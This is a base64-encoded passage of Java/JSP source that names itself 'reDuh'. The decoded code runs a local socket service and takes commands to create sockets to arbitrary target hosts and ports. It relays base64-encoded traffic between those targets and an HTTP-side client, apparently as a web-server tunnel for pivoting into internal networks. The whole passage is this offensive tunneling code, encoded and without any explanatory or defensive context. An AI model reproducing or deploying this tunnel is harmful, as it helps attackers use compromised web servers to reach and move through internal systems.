ZGVEYXRhOwoJCX0KCQkKCQlwdWJsaWMgdm9pZCBzZXRQcmV2KE5vZGUgX3ByZXYpewoJCQlwcmV2Tm9kZT1fcHJldjsKCQl9CgkJCgkJcHVibGljIE5vZGUgZ2V0UHJldigpewoJCQlyZXR1cm4gcHJldk5vZGU7CgkJfQoJfQp9Ly9FbmQgUXVldWUgU3RyaW5nCgolPgoKPCUKY2xhc3MgcmVEdWggZXh0ZW5kcyBUaHJlYWR7CglTZXJ2ZXJTb2NrZXQgc3J2PW51bGw7IC8vSVBDIENvbW11bmljYXRpb24gc2VydmljZQoJYm9vbGVhbiBydW5TZXJ2ZXJUaHJlYWQ9dHJ1ZTsKCWJvb2xlYW4gc2VydmljZVBvcnRCb3VuZD1mYWxzZTsKCXJlZGlyZWN0b3JQcm9jZXNzQ29tbSByUEM7CglpbnQgc2VydmljZVBvcnQ9LTE7Cglib29sZWFuIHNlYXJjaGluZ0ZvclBvcnQ9dHJ1ZTsKCUhhc2h0YWJsZSBjb25uZWN0aW9uUG9vbCA9IG5ldyBIYXNodGFibGUoKTsKCUhhc2h0YWJsZSBzZXF1ZW5jZU51bWJlcnMgPSBuZXcgSGFzaHRhYmxlKCk7CglRU3RyaW5nIG91dHB1dEZyb21Tb2NrZXRzID0gbmV3IFFTdHJpbmcoKTsKCQoJaW50IGRlbGF5PTEwMDsKCQoKCS8vMS4gUmVhZCBmcm9tIHRhcmdldCBzb2NrZXQKCS8vMi4gRW5jb2RlIHRvIGJhc2U2NAoJLy8zLiBQdXNoIGJhc2U2NCBlbmNvZGluZyB0byA8dGFyZ2V0OnBvcnQ6c29ja051bT4gcXVldWUKCWNsYXNzIHJlZGlyZWN0b3JHRCBleHRlbmRzIFRocmVhZHsKCQlTdHJpbmcgdGFyZ2V0PW51bGw7CgkJaW50IHBvcnQ9LTE7CgkJaW50IHNvY2tOdW09LTE7CgkJSW5wdXRTdHJlYW0gZnJvbUNsaWVudD1udWxsOwkJCgkKCQkvL0NvbnN0cnVjdG9yCQkKCQlyZWRpcmVjdG9yR0QoU3RyaW5nIF90Z3QsIGludCBfcHJ0LCBpbnQgX3NvY2tOdW0sIElucHV0U3RyZWFtIF9mcm9tQ2xpZW50KXsKCQkJdGFyZ2V0PV90Z3Q7CgkJCXBvcnQ9X3BydDsKCQkJc29ja051bT1fc29ja051bTsKCQkJZnJvbUNsaWVudD1fZnJvbUNsaWVudDsJCgkJfQkJCQoJCQoJCS8qKiBSZWFkIGZyb20gc29ja2V0LCBlbmNvZGUsIHdyaXRlIHRvIHBpcGVkIG91dHB1dCBxdWV1ZSAqKi8KCQlwdWJsaWMgdm9pZCBydW4oKXsJCQoJCQlpbnQgYnVmZmVyU2l6ZSA9IDgwMDA7CgkJCWJ5dGVbXSBidWZmZXIgPSBuZXcgYnl0ZVtidWZmZXJTaXplXTsKCQkJaW50IG51bWJlclJlYWQ9MDsKCQkJYm9vbGVhbiBtb3JlRGF0YT10cnVlOwoJCQkKCQkJdHJ5ewkKCQkJd2hpbGUobW9yZURhdGEpewoJCQkJbnVtYmVyUmVhZD1mcm9tQ2xpZW50LnJlYWQoYnVmZmVyLDAsYnVmZmVyU2l6ZSk7CgkJCQlpZihERUJVR19MRVZFTD4wKQoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbih0YXJnZXQgKyI6Iitwb3J0ICsgIjoiICsgc29ja051bSAgKyAiID09PT4gUmVtb3RlQ2xpZW50ICgiICsgbnVtYmVyUmVhZCArICIgYnl0ZXMiKTsKCQkJCQkJCQkKCQkJCWlmKG51bWJlclJlYWQ8MCl7CgkJCQkJLy9SZWFkIGVuZCBvZiBkYXRhLiBMZXQncyBjbG9zZSBjb25uZWN0aW9ucwoJCQkJCWlmKERFQlVHX0xFVkVMPjApCgkJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigiUmVhZCBlbmQgb2YgZGF0YS4gTGV0J3MgY2xvc2UgY29ubmVjdGlvbnMuIik7CgkJCQkJb3V0cHV0RnJvbVNvY2tldHMuYWRkKCJbZGF0YV0iK3RhcmdldCsiOiIrcG9ydCsiOiIrc29ja051bSsiOioiKTsJCS8vU2VuZCBkYXQgb2YgIioiIHRvIGluZGljYXRlIGFuZCBFT1QgCgkJCQkJbW9yZURhdGE9ZmFsc2U7CgkJCQkJY29ubmVjdGlvblBvb2wucmVtb3ZlKHRhcmdldCsiOiIrcG9ydCsiOiIrc29ja051bSk7CgkJCQl9CgkJCQllbHNlIGlmKG51bWJlclJlYWQ8YnVmZmVyU2l6ZSl7CgkJCQkJYnl0ZVtdIHRtcEJ1ZmZlciA9IG5ldyBieXRlW251bWJlclJlYWRdOwoJCQkJCWZvcihpbnQgaz0wOyBrPG51bWJlclJlYWQ7IGsrKykKCQkJCQkJdG1wQnVmZmVyW2tdPWJ1ZmZlcltrXTsJCQkJCQkJCQkJCQoJCQkJCQlvdXRwdXRGcm9tU29ja2V0cy5hZGQoIltkYXRhXSIrdGFyZ2V0KyI6Iitwb3J0KyI6Iitzb2NrTnVtKyI6IituZXcgU3RyaW5nKGVuY29kZSh0bXBCdWZmZXIpKSk7CgkJCQl9CgkJCQllbHNlewoJCQkJCQlvdXRwdXRGcm9tU29ja2V0cy5hZGQoIltkYXRhXSIrdGFyZ2V0KyI6Iitwb3J0KyI6Iitzb2NrTnVtKyI6IituZXcgU3RyaW5nKGVuY29kZShidWZmZXIpKSk7CgkJCQl9CgkJCQlUaHJlYWQuc2xlZXAoZGVsYXkpOwoJCQkJCgkJCX0KCQkJfWNhdGNoKEV4Y2VwdGlvbiBlKXsKCQkJCS8vU29ja2V0IGNsb3NlZCwgZm9yIHdoYXRldmVyIHJlYXNvbgoJCQl9ZmluYWxseXsKCQkJCW91dHB1dEZyb21Tb2NrZXRzLmFkZCgiW2RhdGFdIit0YXJnZXQrIjoiK3BvcnQrIjoiK3NvY2tOdW0rIjoqIik7CQkJLy9TZW5kIHRoZSBFT1QgY2hhcmFjdGVyCgkJCQkKCQkJfQkJCQoJCX0JCQkJCQoJCQoJfS8vcmVkaXJlY3RvciBjbGFzcwkJCgoKCS8vMS4gUG9sbCA8dGFyZ2V0OnBvcnQ6bj4gcXVldWUgZm9yIGJhc2U2NCBkYXRhCgkvLzIuIERlY29kZSBiYXNlNjQgZGF0YQoJLy8zLiBTZW5kIGRlY29kZWQgZGF0YSB0byA8dGFyZ2V0OnBvcnQ6bj4gc29ja2V0CgljbGFzcyByZWRpcmVjdG9yU0QgZXh0ZW5kcyBUaHJlYWR7CgkJU3RyaW5nIHRhcmdldD1udWxsOwoJCWludCBwb3J0PS0xOwoJCWludCBzb2NrTnVtPS0xOwoJCU91dHB1dFN0cmVhbSB0b0NsaWVudD1udWxsOwoJCQoJCXJlZGlyZWN0b3JTRChTdHJpbmcgX3RndCwgaW50IF9wcnQsIGludCBfc29ja051bSwgT3V0cHV0U3RyZWFtIF90b0NsaWVudCl7CgkJCXRhcmdldD1fdGd0OwoJCQlwb3J0PV9wcnQ7CgkJCXNvY2tOdW09X3NvY2tOdW07CQkJCgkJCXRvQ2xpZW50PV90b0NsaWVudDsJCQkKCQl9CgkJCgkJLy9Qb2xsIDx0YXJnZXQ6cG9ydDpuPiBidWZmZXIgZm9yIGRhdGEuIElmIHRoZXJlIGlzIGRhdGEsIGRlY29kZSBpdCBhbmQgc2VuZCBpdCB0byB0aGUgPHRhcmdldDpwb3J0PiBzb2NrZXQuCgkJcHVibGljIHN5bmNocm9uaXplZCB2b2lkIHJ1bigpewoJCQlTdHJpbmcgaW5wdXQ9bnVsbDsKCQkJYm9vbGVhbiBlbmRPZlRyYW5zbWlzc2lvbj1mYWxzZTsKCQkJCgkJCXRyeXsKCQkJCXdoaWxlKCFlbmRPZlRyYW5zbWlzc2lvbil7IAoJCQkJCQkJd2hpbGUoIChpbnB1dD0gKChRU3RyaW5nKWNvbm5lY3Rpb25Qb29sLmdldCh0YXJnZXQrIjoiK3BvcnQrIjoiK3NvY2tOdW0pKS5wb2xsKCkpICE9IG51bGwpCgkJCQkJCQl7CgkJCQkJCQlTdHJpbmcgc2VxTnVtPWlucHV0LnN1YnN0cmluZygwLGlucHV0LmluZGV4T2YoIjoiKSk7CgkJCQkJCQlpbnB1dD1pbnB1dC5zdWJzdHJpbmcoaW5wdXQuaW5kZXhPZigiOiIpKzEpOyAvL0NodWNrIHNlcSBudW1iZXIgcHJlZml4CgkJCQkJCQlieXRlW10gdG1wPW51bGw7CgkJCQkJCQlpbnQgYnl0ZXNSZWFkRnJvbUhvbWVQb3J0PTA7CQkJCQkJCQkKCQkJCQkJCWlmKGlucHV0LmNvbXBhcmVUbygiKiIpIT0wKXsKCQkJCQkJCQkvL0RlY29kZSA0IGNoYXJhY3RlcnMgYXQgYSB0aW1lCgkJCQkJCQkJaW5wdXQgPSBpbnB1dC5yZXBsYWNlKCcgJywnKycpOwoJCQkJCQkJCWZvcihpbnQgaz0wOyBrPCBpbnB1dC5sZW5ndGgoKTsgays9NCl7CgkJCQkJCQkJCQlTdHJpbmcgaW5wdXRDaHVuayA9IGlucHV0LnN1YnN0cmluZyhrLGsrNCk7CgkJCQkJCQkJCQl0bXA9ZGVjb2RlKGlucHV0Q2h1bmsuZ2V0Qnl0ZXMoKSk7CgkJCQkJCQkJCQlieXRlc1JlYWRGcm9tSG9tZVBvcnQrPXRtcC5sZW5ndGg7CgkJCQkJCQkJCQl0b0NsaWVudC53cml0ZSh0bXApOwoJCQkJCQkJCQl9CgkJCQkJCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCQkJCQkJU3lzdGVtLm91dC5wcmludGxuKHRhcmdldCArIjoiK3BvcnQgKyAiOiIgKyBzb2NrTnVtICArICI6IiArc2VxTnVtKyAiIDw9PT0gUmVtb3RlQ2xpZW50ICgiICsgYnl0ZXNSZWFkRnJvbUhvbWVQb3J0ICsgIiBieXRlcykiKTsKCQkJCQkJCX0KCQkJCQkJCWVsc2V7IC8vQSBzdGFyIG1hcmtzIHRoZSBFT0YKCQkJCQkJCQllbmRPZlRyYW5zbWlzc2lvbj10cnVlOwoJCQkJCQkJCWNvbm5lY3Rpb25Qb29sLnJlbW92ZSh0YXJnZXQrIjoiK3BvcnQrIjoiK3NvY2tOdW0pOwoJCQkJCQkJCXNlcXVlbmNlTnVtYmVycy5yZW1vdmUodGFyZ2V0KyI6Iitwb3J0KyI6Iitzb2NrTnVtKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlUaHJlYWQuc2xlZXAoZGVsYXkpOwkgCgkJCQl9CgoJCQl9Y2F0Y2goRXhjZXB0aW9uIGUpewoJCQkJLy9TeXN0ZW0uZXJyLnByaW50bG4oIkV4Y2VwdGlvbi0iICsgZSk7CgkJCX0JCQkJCQkJCQkJCQkJCQkJCQoJCX0KCX0vL2NsYXNzIHJlZGlyZWN0b3JTRAoKCQoJLy9TcGF3bnMgYSBuZXcgdGhyZWFkIGZvciBlYWNoIGluYm91bmQgc2VydmVyIGNvbW11bmljYXRpb24gCgljbGFzcyBjb25uSGFuZGxlciBleHRlbmRzIFRocmVhZHsKCQlTb2NrZXQgc29jaz1udWxsOwoJCVByaW50V3JpdGVyIHJ3UCA9IG51bGw7CgkJQnVmZmVyZWRSZWFkZXIgcmRQID0gbnVsbDsJCQkKCQlTdHJpbmcgcmVxPW51bGw7CgkJU3RyaW5nIGRhdGE9bnVsbDsJCgkJCgkJY29ubkhhbmRsZXIoU29ja2V0IGNvbm4pewoJCQlzb2NrPWNvbm47CgkJfQoJCQoJCQoJCXB1YmxpYyBzeW5jaHJvbml6ZWQgdm9pZCBydW4oKXsKCQkJU3RyaW5nIHRhZz1udWxsOwoJCgkJCQl0cnl7CgkJCQkJcmRQID0gbmV3IEJ1ZmZlcmVkUmVhZGVyKG5ldyBJbnB1dFN0cmVhbVJlYWRlcihzb2NrLmdldElucHV0U3RyZWFtKCkpKTsKCQkJCQlyd1AgPSBuZXcgUHJpbnRXcml0ZXIoc29jay5nZXRPdXRwdXRTdHJlYW0oKSwgdHJ1ZSk7CgkJCQkJd2hpbGUoICAgKHJlcT1yZFAucmVhZExpbmUoKSkgIT0gbnVsbCAgICApewoJCQkJCQkKCQkJCQl0YWc9cmVxLnN1YnN0cmluZyggcmVxLmluZGV4T2YoIlsiKSsxLCByZXEuaW5kZXhPZigiXSIpICk7CgoJCQkJCS8qR0VUREFUQSBGT1IgSEFST09OKi8KCQkJCQlpZih0YWcuY29tcGFyZVRvKCJnZXREYXRhIikgPT0gMCl7CQkJCQkvL1BvbGxsIG1ldGhvZC4gVGhpcyB3aWxsIHJldHVybiB3aGF0ZXZlciBkYXRhJ3MgaW4gdGhlIG91dHB1dEZyb21Tb2NrZXRzIHF1ZXVlCgkJCQkJCgkJCQkJCWRhdGE9b3V0cHV0RnJvbVNvY2tldHMucG9sbCgpOwoJCQkJCQlpZihkYXRhIT1udWxsKQoJCQkJCQkJcndQLnByaW50bG4oZGF0YSk7CQkJCQkJCgkJCQkJCWVsc2UKCQkJCQkJCXJ3UC5wcmludGxuKCJbTk9fTkVXX0RBVEFdIik7Ci8vCQkJCQkJc29jay5jbG9zZSgpOwoJCQkJCQkKCQkJCQl9CQkJCQkJCgkJCQkJCgkJCQkJLypCVU1QIFNFUlZJQ0UgUE9SVCBPTlRPIERBVEEgUVVFVUUqLwoJCQkJCWlmKHRhZy5jb21wYXJlVG8oIlBvcnQiKSA9PSAwKXsKCQkJCQkJb3V0cHV0RnJvbVNvY2tldHMuYWRkKCJbUG9ydF0iK3NlcnZpY2VQb3J0KTsKCQkJCQl9CgkJCQkJCgkJCQkJLypORVdEQVRBKi8KCQkJCQllbHNlIGlmKHRhZy5jb21wYXJlVG8oIm5ld0RhdGEiKSA9PSAwKXsKCQkJCQkJU3RyaW5nIHRva2Vuc1tdID0gKHJlcS5zdWJzdHJpbmcoKCByZXEuaW5kZXhPZigiXSIpKzEpKSkuc3BsaXQoIjoiKTsKCQkJCQkJCQkJCQkJCQoJCQkJCQlTdHJpbmcgdGd0PXRva2Vuc1swXTsKCQkJCQkJU3RyaW5nIHBydD10b2tlbnNbMV07CgkJCQkJCVN0cmluZyBzb2NrTnVtPXRva2Vuc1syXTsKCQkJCQkJaW50IHNlcU51bT1JbnRlZ2VyLnBhcnNlSW50KHRva2Vuc1szXSk7CgkJCQkJCVN0cmluZyBkYXRhPXRva2Vuc1s0XTsKCQkJCQkJCgkJCQkJCS8vTm90ZTogVGhlIHNpbGxpbmVzcyB3aXRoIGludHMvaW50ZWdlcnMgcmVsYXRlcyB0byBKYXZhPDEuNCBhbmQgaXRzIGZhaWwgdG8gY2FzdAoJCQkJCQlpZihjb25uZWN0aW9uUG9vbC5jb250YWluc0tleSh0Z3QrIjoiK3BydCsiOiIrc29ja051bSkpewoJCQkJCQkJCWlmKCgoSW50ZWdlcilzZXF1ZW5jZU51bWJlcnMuZ2V0KHRndCsiOiIrcHJ0KyI6Iitzb2NrTnVtKSkuaW50VmFsdWUoKSA9PSAtMSl7CQkvL0ZpcnN0IHBpZWNlIG9mIGRhdGEKCQkJCQkJCQkJc2VxdWVuY2VOdW1iZXJzLnB1dCh0Z3QrIjoiK3BydCsiOiIrc29ja051bSwobmV3IEludGVnZXIoc2VxTnVtKSkpOwoJCQkJCQkJCQkoKFFTdHJpbmcpY29ubmVjdGlvblBvb2wuZ2V0KHRndCsiOiIrcHJ0KyI6Iitzb2NrTnVtKSkuYWRkKHNlcU51bSsiOiIrZGF0YSk7CgkJCQkJCQkJfQoJCQkJCQkJCWVsc2V7CgkJCQkJCQkJCWludCBwcmV2U2VxTnVtID0gKChJbnRlZ2VyKXNlcXVlbmNlTnVtYmVycy5nZXQodGd0KyI6IitwcnQrIjoiK3NvY2tOdW0pKS5pbnRWYWx1ZSgpOwoJCQkJCQkJCQkKCQkJCQkJCQkJaWYoREVCVUdfTEVWRUw+MCl7CgkJCQkJCQkJCQlpZihwcmV2U2VxTnVtIT0gKHNlcU51bS0xKSkJCQkJCQkJCQkgCgkJCQkJCQkJCQkJU3lzdGVtLm91dC5wcmludGxuKCIjIyMgT3V0IG9mIG9yZGVyIGRhdGEgLSAiICsgcHJldlNlcU51bSArIiBhbmQgIiArIHNlcU51bSArICIuIFdhaXRpbmcgZm9yIHNlcU51bSAiICsgKHNlcU51bS0xKSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJCgkJCQkJCQkJCXdoaWxlIChwcmV2U2VxTnVtICE9IChzZXFOdW0tMSkpewkvL1dhaXQgZm9yIHRoZSBtaXNzaW5nIChuLTEpIHNlcSBudW1iZXIgdG8gY2F0Y2ggdXAgaW4gaXRzIHRocmVhZAkJCQkJCQkJCQoJCQkJCQkJCQkJdHJ5ewoJCQkJCQkJCQkJCVRocmVhZC5zbGVlcCgyMDApOwoJCQkJCQkJCQkJCXByZXZTZXFOdW0gPSAoKEludGVnZXIpc2VxdWVuY2VOdW1iZXJzLmdldCh0Z3QrIjoiK3BydCsiOiIrc29ja051bSkpLmludFZhbHVlKCk7CgkJCQkJCQkJCQl9Y2F0Y2goRXhjZXB0aW9uIGUpe30KCQkJCQkJCQkJfQoJCQkJCQkJCQkJc2VxdWVuY2VOdW1iZXJzLnB1dCh0Z3QrIjoiK3BydCsiOiIrc29ja051bSwobmV3IEludGVnZXIoc2VxTnVtKSkpOwoJCQkJCQkJCQkJKChRU3RyaW5nKWNvbm5lY3Rpb25Qb29sLmdldCh0Z3QrIjoiK3BydCsiOiIrc29ja051bSkpLmFkZChzZXFOdW0rIjoiK2RhdGEpOwoJCQkJCQkJCQl9CQkJCQkJCQkJCgkJCQkJCX0JCgkJCQkJCWVsc2V7CgkJCQkJCQlpZihkYXRhLmNvbXBhcmVUbygiKiIpICE9IDApewoJCQkJCQkJCWlmKERFQlVHX0xFVkVMPjApCgkJCQkJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigiVHJ5aW5nIHRvIGFkZCBkYXRhIHRvIG5vbmV4aXN0ZW50IHNvY2tldCBidWZmZXIgLSAiICsgdGd0KyI6IitwcnQrIjoiK3NvY2tOdW0pOwoJCQkJCQkJCXJ3UC5wcmludGxuKCJbRXJyb3JdVHJ5aW5nIHRvIGFkZCBkYXRhIHRvIG5vbmV4aXN0ZW50IHNvY2tldCAtICIgKyB0Z3QrIjoiK3BydCsiOiIrc29ja051bSk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJLy9zb2NrLmNsb3NlKCk7CgkJCQkJfQkKCQkJCQkvKlNIVVRET1dOKi8JCQkJCgkJCQkJZWxzZSBpZih0YWcuY29tcGFyZVRvKCJzaHV0ZG93biIpID09MCApewoJCQkJCQlpZihERUJVR19MRVZFTD4wKQoJCQkJCQkJU3lzdGVtLm91dC5wcmludGxuKCJTaHV0dGluZyBkb3duIHNlcnZpY2UiKTsKCQkJCQkJcnVuU2VydmVyVGhyZWFkPWZhbHNlOwkJCQkJCQkKCQkJCQkJc3J2LmNsb3NlKCk7CQkJCQkJCQoJCQkJCX0KCQkJCQkvKkNSRUFURSBTT0NLRVQqLwoJCQkJCWVsc2UgaWYodGFnLmNvbXBhcmVUbygiY3JlYXRlU29ja2V0Iik9PTApewoJCQkJCQlTdHJpbmcgdGd0PXJlcS5zdWJzdHJpbmcocmVxLmluZGV4T2YoIl0iKSsxLCByZXEuaW5kZXhPZignOicpICk7CgkJCQkJCWludCBwcnQ9SW50ZWdlci5wYXJzZUludCggICByZXEuc3Vic3RyaW5nKHJlcS5pbmRleE9mKCc6JykrMSxyZXEubGFzdEluZGV4T2YoIjoiKSkgICAgKTsKCQkJCQkJaW50IHNvY2tOdW09IEludGVnZXIucGFyc2VJbnQocmVxLnN1YnN0cmluZyhyZXEubGFzdEluZGV4T2YoIjoiKSsxKSk7CgkJCQkJCQoJCQkJCQlpZihjb25uZWN0aW9uUG9vbC5jb250YWluc0tleSh0Z3QrIjoiK3BydCsiOiIrc29ja051bSkpewoJCQkJCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oIltFcnJvcl1UcnlpbmcgdG8gY3JlYXRlIGR1cGxpY2F0ZSBoYXNobWFwIGtleSAtICIgK3RndCsiOiIrcHJ0KyI6IiArIHNvY2tOdW0pOwoJCQkJCQkJcndQLnByaW50bG4oIltFcnJvcl1UcnlpbmcgdG8gY3JlYXRlIGR1cGxpY2F0ZSBoYXNobWFwIGtleSAtICIgK3RndCsiOiIrcHJ0KyI6IiArIHNvY2tOdW0pOwoJCQkJCQl9CgkJCQkJCWVsc2V7CgkJCQkJCQlpZihERUJVR19MRVZFTD4wKQoJCQkJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigiQXR0ZW1wdGluZyB0byBjcmVhdGUgc29ja2V0ICIgKyB0Z3QgKyAiOiIgKyBwcnQrIiAoTnVtYmVyICIrc29ja051bSsiKSIpOwoJCQkJCQkJYm9vbGVhbiBzb2NrZXRTdWNjZXNzPXRydWU7CgkJCQkJCQlTb2NrZXQgdG1wU29ja2V0PW51bGw7CgkJCQkJCQl0cnl7CgkJCQkJCQkJdG1wU29ja2V0ID0gbmV3IFNvY2tldCh0Z3QscHJ0KTsJCgkJCQkJCQl9Y2F0Y2goRXhjZXB0aW9uIGUpewoJCQkJCQkJCQlyd1AucHJpbnRsbigiW0Vycm9yXUNhbm5vdCBjcmVhdGUgc29ja2V0ICIgK3RndCsiOiIrcHJ0KTsKCQkJCQkJCQlzb2NrZXRTdWNjZXNzPWZhbHNlOwoJCQkJCQkJfQoJCQkJCQkJaWYoc29ja2V0U3VjY2Vzcyl7CQkJCQkJCQkKCQkJCQkJCQljb25uZWN0aW9uUG9vbC5wdXQodGd0KyI6IitwcnQrIjoiK3NvY2tOdW0sbmV3IFFTdHJpbmcoKSk7CgkJCQkJCQkJc2VxdWVuY2VOdW1iZXJzLnB1dCh0Z3QrIjoiK3BydCsiOiIrc29ja051bSxuZXcgSW50ZWdlcigtMSkpOwoJCQkJCQkJCU91dHB1dFN0cmVhbSB0b0NsaWVudCA9IHRtcFNvY2tldC5nZXRPdXRwdXRTdHJlYW0oKTsKCQkJCQkJCQlJbnB1dFN0cmVhbSBmcm9tQ2xpZW50ID0gdG1wU29ja2V0LmdldElucHV0U3RyZWFtKCk7CQkJCQkJCQoJCQkJCQkJCXJlZGlyZWN0b3JTRCBzZW5kRGF0YVRvVGFyZ2V0ID0gbmV3IHJlZGlyZWN0b3JTRCh0Z3QscHJ0LHNvY2tOdW0sdG9DbGllbnQpOwoJCQkJCQkJCXJlZGlyZWN0b3JHRCBnZXREYXRhRnJvbVRhcmdldCA9IG5ldyByZWRpcmVjdG9yR0QodGd0LHBydCxzb2NrTnVtLGZyb21DbGllbnQpOwoJCQkJCQkJCXNlbmREYXRhVG9UYXJnZXQuc3RhcnQoKTsKCQkJCQkJCQlnZXREYXRhRnJvbVRhcmdldC5zdGFydCgpOwkJCQkKCQkJCQkJCQlyd1AucHJpbnRsbigiW0luZm9dU3VjY2Vzc2Z1bGx5IGNyZWF0ZWQgc29ja2V0ICIgK3RndCsiOiIrcHJ0KyIgKE51bWJlciAiICsgc29ja051bSArICIpIik7CgkJCQkJCQkJc2VuZERhdGFUb1RhcmdldC5qb2luKCk7CgkJCQkJCQkJcndQLnByaW50bG4oIltJbmZvXVNvY2tldCBjbG9zZWQgZm9yICIgK3RndCsiOiIrcHJ0KyIgKE51bWJlciAiICsgc29ja051bSArICIpIik7CgkJCQkJCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCQkJCQkJU3lzdGVtLm91dC5wcmludGxuKCJbSW5mb11Tb2NrZXQgY2xvc2VkIGZvciAiICt0Z3QrIjoiK3BydCsiIChOdW1iZXIgIiArIHNvY2tOdW0gKyAiKSIpOwoJCQkJCQkJCXRtcFNvY2tldC5jbG9zZSgpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJCVRocmVhZC5zbGVlcChkZWxheSk7CgkJCQl9CQkKCgoJCQkJfWNhdGNoKEV4Y2VwdGlvbiBlKXsKCQkJCQlTeXN0ZW0uZXJyLnByaW50bG4oIltFeGNlcHRpb25dU2VydmljZSBUaHJlYWQgRXhjZXB0aW9uIC0gIiArIGUpOwoJCQkJCXJldHVybjsKCQkJCX0JCQoJCX0KCQkKCX0vL25ld0Nvbm4gY2xhc3MJCgoJLyoqCgkqIERhdGEgZ2V0cyBwYXNzZWQgZnJvbSBvdGhlciByZUR1aC5qc3AgcHJvY2VzcyB0byB0aGlzIHBvcnQgaW4gZm9ybTogWzx0YXJnZXRJUD46dGFyZ2V0UG9ydF08QmFzZTY0RGF0YT4KCSogV2UgbXVzdCBzdHJpcCBvZmYgdGhlIGhlYWRlciwgYW5kIHRoZW4gcGxhY2UgdGhlIGRhdGEgaW50byB0aGUgcmVsZXZhbnQgY29ubmVjdGlvblBvb2wudGFyZ2V0SVAuYnl0ZUlucHV0UXVldWUJCgkqKi8KCWNsYXNzIHJlZGlyZWN0b3JQcm9jZXNzQ29tbSBleHRlbmRzIFRocmVhZHsJCQoJCQoJCVNvY2tldCBzb2NrPW51bGw7CgkJU3RyaW5nIGlucHV0PW51bGw7CQoJCWNvbm5IYW5kbGVyIG5ld0Nvbm5lY3Rpb249bnVsbDsJCgkJaW50IGJvdW5kVG9Qb3J0PTA7CgkJCgkJcmVkaXJlY3RvclByb2Nlc3NDb21tKCl7CgkJCQoJCQl0cnl7CgkJCQlzcnYgPSBuZXcgU2VydmVyU29ja2V0KHNlcnZpY2VQb3J0KTsKCQkJfWNhdGNoKEV4Y2VwdGlvbiBlKXsKCQkJCWlmKERFQlVHX0xFVkVMPjApCgkJCQkJU3lzdGVtLm91dC5wcmludGxuKCJDYW5ub3QgYmluZCB0byBwb3J0ICIgKyBzZXJ2aWNlUG9ydCArICIgLSAiICArIGUpOwoJCQkJYm91bmRUb1BvcnQ9LTE7CgkJCX0KCQkJaWYoYm91bmRUb1BvcnQhPS0xKXsKCQkJCWJvdW5kVG9Qb3J0PTE7CQkJCgkJCQlpZihERUJVR19MRVZFTD4wKQkKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oIklQQyBzZXJ2aWNlIGJvdW5kIHRvICIgKyBzZXJ2aWNlUG9ydCk7CQoJCQl9CgkJCWVsc2V7CgkJCQlpZihERUJVR19MRVZFTD4wKQkKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oIklQQyBzZXJ2aWNlIGZhaWxlZCB0byBiaW5kIHRvICIgKyBzZXJ2aWNlUG9ydCk7CQoJCQl9CgkJfQkJCQkJCgkJcHVibGljIHZvaWQgcnVuKCl7CgoJCQl3aGlsZShydW5TZXJ2ZXJUaHJlYWQpewkJCgkJCQkJdHJ5ewoJCQkJCQlzb2NrPXNydi5hY2NlcHQoKTsJLy9UaGlzIGJsb2Nrcy4gTWF5IHBvc2UgcHJvYmxlbS4gSSdsbCBoYXZlIHRvIHNlbmQgYSAnbnVsbCcgY29ubmVjdCB0byB1bmJsb2NrIGl0LgoJCQkJCX1jYXRjaChFeGNlcHRpb24gZSl7CgkJCQkJCVN5c3RlbS5lcnIucHJpbnRsbigiKlVuYWJsZSB0byByZWNlaXZlIGNvbm5lY3Rpb24gb24gcG9ydCAiICsgc2VydmljZVBvcnQgKyAiLiBUaGUgc2VydmljZSBoYXMgcHJvYmFibHkgYmVlbiBzaHV0ZG93bi4gIiArIGUpOwoJCQkJCQlyZXR1cm47CgkJCQkJfQoJCQkJCQoJCQkJCW5ld0Nvbm5lY3Rpb24gPSBuZXcgY29ubkhhbmRsZXIoc29jayk7CgkJCQkJbmV3Q29ubmVjdGlvbi5zdGFydCgpOwoJCQkKCQkJfQkKCQkJCgkJCXRyeXsKCQkJCXNydi5jbG9zZSgpOwoJCQl9Y2F0Y2goRXhjZXB0aW9uIGUpewoJCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oIkNvdWxkIG5vdCBjbG9zZSBzZXJ2ZXIgY29ubmVjdGlvbiAiICsgZSk7CgkJCX0KCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCVN5c3RlbS5vdXQucHJpbnRsbigiRXhpdGluZyB0aHJlYWQgZm9yIHByb2MgY29tbSBzdHVmZi4gU2VydmVyIHRoaW5ndW0gc2h1dHRpbmcgZG93biIpOwkJCQkJCQkKCQl9CgoJfQkKCQoJcmVEdWgoaW50IF9wKXsJCQoJCXNlcnZpY2VQb3J0PV9wOwoJfQoJCglwdWJsaWMgdm9pZCBydW4oKXsKCQl0cnl7CgkJCXJQQyA9IG5ldyByZWRpcmVjdG9yUHJvY2Vzc0NvbW0oKTsKCQkJclBDLnN0YXJ0KCk7CgkJCXJQQy5qb2luKCk7CgkJfWNhdGNoKEV4Y2VwdGlvbiBlKXt9OwoJfQoJCglpbnQgZ2V0U2VydmljZVBvcnQoKSB0aHJvd3MgRXhjZXB0aW9uewoJCWlmKERFQlVHX0xFVkVMPjApCQkKCQkJU3lzdGVtLm91dC5wcmludGxuKCJXYWl0aW5nIGZvciBiaW5kIik7CgkJd2hpbGUoIXNlcnZpY2VQb3J0Qm91bmQpe30JCgkJaWYoREVCVUdfTEVWRUw+MCkKCQkJU3lzdGVtLm91dC5wcmludGxuKCJCb3VuZCBvbiAiICsgc2VydmljZVBvcnQpOwoJCXJldHVybiBzZXJ2aWNlUG9ydDsKCX0KCQoJCn0JCgoKLyogICAgIG1haW4oKSBmdW5jdGlvbjoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovCgoJLy9WYXJzIGZyb20gcmVxdWVzdAoJU3RyaW5nIGRhdGE9bnVsbDsKCVN0cmluZyBhY3Rpb249bnVsbDsKCVN0cmluZyB0bXBUYXJnZXRQ